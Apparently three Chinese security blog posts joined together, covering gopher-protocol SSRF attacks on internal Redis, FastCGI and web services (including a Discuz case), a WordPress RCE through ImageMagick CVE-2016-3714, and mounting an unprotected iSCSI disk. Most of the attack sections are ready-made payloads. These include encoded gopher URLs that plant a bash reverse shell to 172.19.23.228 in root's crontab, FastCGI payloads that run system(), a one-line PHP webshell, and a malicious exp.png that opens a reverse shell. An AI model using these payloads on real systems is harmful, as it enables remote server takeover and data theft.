利用 gopher 协议拓展攻击面

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。
Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

攻击面测试

环境

  • IP: 172.19.23.218
  • OS: CentOS 6

根目录下 1.php 内容为:

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
?>

攻击内网 Redis

Redis 任意文件写入现在已经成为十分常见的一个漏洞,一般内网中会存在 root 权限运行的 Redis 服务,利用 Gopher 协议攻击内网中的 Redis,这无疑可以隔山打牛,直杀内网。
首先了解一下通常攻击 Redis 的命令,然后转化为 Gopher 可用的协议。常见的 exp 是这样的:

redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

利用这个脚本攻击自身并抓包得到数据流:
2016-05-31_14:59:35.jpg

改成适配于 Gopher 协议的 URL:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

攻击:
2016-05-31_14:56:29.jpg

攻击 FastCGI

一般来说 FastCGI 都是绑定在 127.0.0.1 端口上的,但是利用 Gopher+SSRF 可以完美攻击 FastCGI 执行任意命令。
首先构造 exp:
2016-05-31_15:24:35.jpg

构造 Gopher 协议的 URL:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

攻击:
2016-05-31_15:26:25.jpg

攻击内网 Vulnerability Web

Gopher 可以模仿 POST 请求,故探测内网的时候不仅可以利用 GET 形式的 PoC(经典的 Struts2),还可以使用 POST 形式的 PoC。
一个只能 127.0.0.1 访问的 exp.php,内容为:

<?php system($_POST[e]);?>

利用方式:

POST /exp.php HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 49
Content-Type: application/x-www-form-urlencoded

e=bash -i >%26 /dev/tcp/172.19.23.228/2333 0>%261

构造 Gopher 协议的 URL:

gopher://127.0.0.1:80/_POST /exp.php HTTP/1.1%0d%0aHost: 127.0.0.1%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: */*%0d%0aContent-Length: 49%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0ae=bash -i >%2526 /dev/tcp/172.19.23.228/2333 0>%25261null

攻击:
2016-05-31_15:19:17.jpg

攻击实例

利用 Discuz SSRF 攻击 FastCGI

Discuz X3.2 存在 SSRF 漏洞,当服务器开启了 Gopher wrapper 时,可以进行一系列的攻击。
首先根据 phpinfo 确定开启了 Gopher wrapper,且确定 Web 目录、PHP 运行方式为 FastCGI。
2016-06-02_10:06:00.jpg 2016-06-01_15:09:52.jpg
2016-06-02_10:06:52.jpg 测试 Gopher 协议是否可用,请求:

http://127.0.0.1:8899/forum.php?mod=ajax&action=downremoteimg&message=%5Bimg%3D1%2C1%5Dhttp%3A%2f%2f127.0.0.1%3A9999%2fgopher.php%3Fa.jpg%5B%2fimg%5D

其中 gopher.php 内容为:

<?php
header("Location: gopher://127.0.0.1:2333/_test");
?>

监听 2333 端口,访问上述 URL 即可验证:
2016-06-02_10:09:42.jpg

构造 FastCGI 的 Exp:

<?php
header("Location: gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/127.0.0.1/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00");
?>

请求:

http://127.0.0.1:8899/forum.php?mod=ajax&action=downremoteimg&message=%5Bimg%3D1%2C1%5Dhttp%3A%2f%2f127.0.0.1%3A9999%2f1.php%3Fa.jpg%5B%2fimg%5D

即可在 2333 端口上收到反弹的 shell:
2016-06-02_09:44:25.jpg
攻击视频: 点我喵

系统局限性

经过测试发现 Gopher 的以下几点局限性:

  • 大部分 PHP 并不会开启 fopen 的 gopher wrapper
  • file_get_contents 的 gopher 协议不能 URLencode
  • file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
  • PHP 的 curl 默认不 follow 302 跳转
  • curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用

更多有待补充。
另外,并不限于 PHP 的 SSRF。当存在 XXE、ffmepg SSRF 等漏洞的时候,也可以进行利用。

更多攻击面

基于 TCP Stream 且不做交互的点都可以进行攻击利用,包括但不限于:

  • HTTP GET/POST
  • Redis
  • Memcache
  • SMTP
  • Telnet
  • 基于一个 TCP 包的 exploit
  • FTP(不能实现上传下载文件,但是在有回显的情况下可用于爆破内网 FTP)

更多有待补充。

参考


Write Up: Remote Command Execute in Wordpress 4.5.1

蚊子

嗡嗡嗡。

ImageMagick

ImageMagick 昨天曝出 CVE-2016-3714,Java、PHP 的库也受其影响。其中 PHP 的库 Imagick 应用广泛,波及也大。Wordpress 也就是受此漏洞影响出现了 RCE。

这个漏洞很蠢,ImageMagick 在 MagickCore/constitute.c 的 ReadImage 函数中解析图片,如果图片地址是 https:// 开头的,即调用 InvokeDelegate。
MagickCore/delegate.c 定义了委托,第 99 行定义了要执行的命令。
最终 InvokeDelegate 调用 ExternalDelegateCommand 执行命令



MagickCore/delegate.c

为了让大家更清楚的看见:

当时我就这个表情..



至此,一个命令注入就形成了。

Wordpress

Wordpress 在图像处理的时候默认优先选择 Imagick Library。


wp-includes/media.php:_wp_image_editor_choose

如果能找到一个点,调用了 Imagick 类的话,那么就可以进行命令执行。


wp-includes/media.php:wp_get_image_editor

这个函数实例化了 WP_Image_Editor_Imagick 类。全局 grep 一下 wp_get_image_editor 可以发现几处调用的地方,比如wp_crop_image


wp-admin/includes/image.php:wp_crop_image

这样寻找调用这个函数的地方就好了。
像呆子不开口那样扶了扶镜框,找到一个。要求的最小权限是 Author。
不是 Unauthorized 就可以利用的 RCE,真是难过啊..

PoC

用 Author 权限账号登陆,发表文章,插入 Media。
上传另外一个正常格式的文件:

记住 post_id,我这个为 101。 再上传 exp.png,内容为:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|bash -i >& /dev/tcp/127.0.0.1/2333 0>&1")'
pop graphic-context

这个的 post_id 为 102。

接着点击我们正常的那个图片,选择编辑:

然后点 Edit Origin。进去打开控制台,随便做一些操作后抓包拿到请求的 URL。直接 Copy as cURL 就好了。

再点击坏掉的图片-Edit-Edit Origin,抓包看到请求的 admin-ajax.php,拿出 _ajax_nonce。最后改掉之前 Copy as cURL 内的 _ajax_nonce 和 post_id,下图划框框的地方是要改的地方。

回车——啊——

shell 已经躺好了。

End

大晚上不睡觉写文章,主要是因为蚊子太闹了。
哎,难过的无以复加,女票还不在。
话说步骤这么麻烦,能不能写个 exploit 自动化呢?答案是肯定的。
那么 exp 呢?懒得写了...(
求聚聚写好了分我一份 QWQ


Hacking iSCSI

前几日看到入侵 Hacking Team 的文章,其中最大的一个突破口就是 iSCSI 未授权访问。那么,什么是 iSCSI,又如何在内网渗透的时候利用 iSCSI 获取敏感信息?于是嗯哼,做笔记呗..
PS: 虽然题目起了一个 Hacking iSCSI,但是实际上就是一个未授权访问而已。
如果有兴趣可以了解一下什么是 SCSI 协议,以及什么是 iSCSI

0x00

服务端

IP: 10.211.55.18  
OS: Ubuntu

为了减少水表几率,我还是一个内网的 iSCSI 环境比较好。
首先安装 iscsitarget:

apt-get install iscsitarget

修改 /etc/default/iscsitarget:

# cat /etc/default/iscsitarget
 ISCSITARGET_ENABLE=true
 ISCSITARGET_MAX_SLEEP=3


 # ietd options
 # See ietd(8) for details
 ISCSITARGET_OPTIONS=""

修改 /etc/iet/ietd.conf:

Target iqn.2016-04.local.test:storage
Lun 1 Path=/dev/sda,Type=fileio,ScsiId=lun1,ScsiSN=lun1

接着重启服务:

# service iscsitarget restart
 * Removing iSCSI enterprise target devices:           [ OK ]
 * Starting iSCSI enterprise target service            [ OK ]

运行 netstat -anp | grep 3260 发现已经开启服务了。

# netstat -anp | grep 3260
 tcp        0      0 0.0.0.0:3260            0.0.0.0:*               LISTEN      7265/ietd
 tcp6       0      0 :::3260                 :::*                    LISTEN      7265/ietd

客户端

IP: 10.211.55.20
OS: CentOS

安装 scsi-target-utils:

yum install scsi-target-utils

0x01

以下为过程:

[root@localhost yum.repos.d]# nmap 10.211.55.18 -p3260

Starting Nmap 5.51 ( http://nmap.org ) at 2016-04-21 19:03 HKT
Nmap scan report for 10.211.55.18
Host is up (0.00031s latency).
PORT     STATE SERVICE
3260/tcp open  iscsi
MAC Address: 00:1C:42:D8:D3:48 (Parallels)

Nmap done: 1 IP address (1 host up) scanned in 13.42 seconds

发现已经开始 3260 端口,接着用 iscsiadm -m discovery 获取 iqn(iSCSI Qualified Name)。

[root@localhost tmp]# iscsiadm -m discovery -t sendtargets -p 10.211.55.18
10.211.55.18:3260,1 iqn.2016-04.local.test:storage

利用 iscsiadm 挂载:

[root@localhost yum.repos.d]# iscsiadm -m node -T iqn.2016-04.local.test:storage -p 10.211.55.18 -l
Logging in to [iface: default, target: iqn.2016-04.local.test:storage, portal: 10.211.55.18,3260] (multiple)
Login to [iface: default, target: iqn.2016-04.local.test:storage, portal: 10.211.55.18,3260] successful.

fdisk -l 检测是否已经存在:

[root@localhost yum.repos.d]# fdisk -l
...

Disk /dev/sdb: 68.7 GB, 68719476736 bytes  <-- HERE!
255 heads, 63 sectors/track, 8354 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x0009be13

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1   *           1        8225    66059264   83  Linux
/dev/sdb2            8225        8355     1046529    5  Extended
/dev/sdb5            8225        8355     1046528   82  Linux swap / Solaris
[root@localhost yum.repos.d]#

接着挂载:

[root@localhost tmp]# mkdir /tmp/test
[root@localhost tmp]# mount  /dev/sdb1 /tmp/test/
[root@localhost tmp]# cd /tmp/test/etc
[root@localhost tmp]# cat issue
Ubuntu 12.04.5 LTS \n \l

发现已经挂在了 Ubuntu 的硬盘。

如上所示,如果在内网中发现开启的 3260 端口,可以尝试挂载其硬盘。可以获取很多敏感信息。其中 Hacking Team 就是因为泄露了邮件服务器导致 boom。

Reference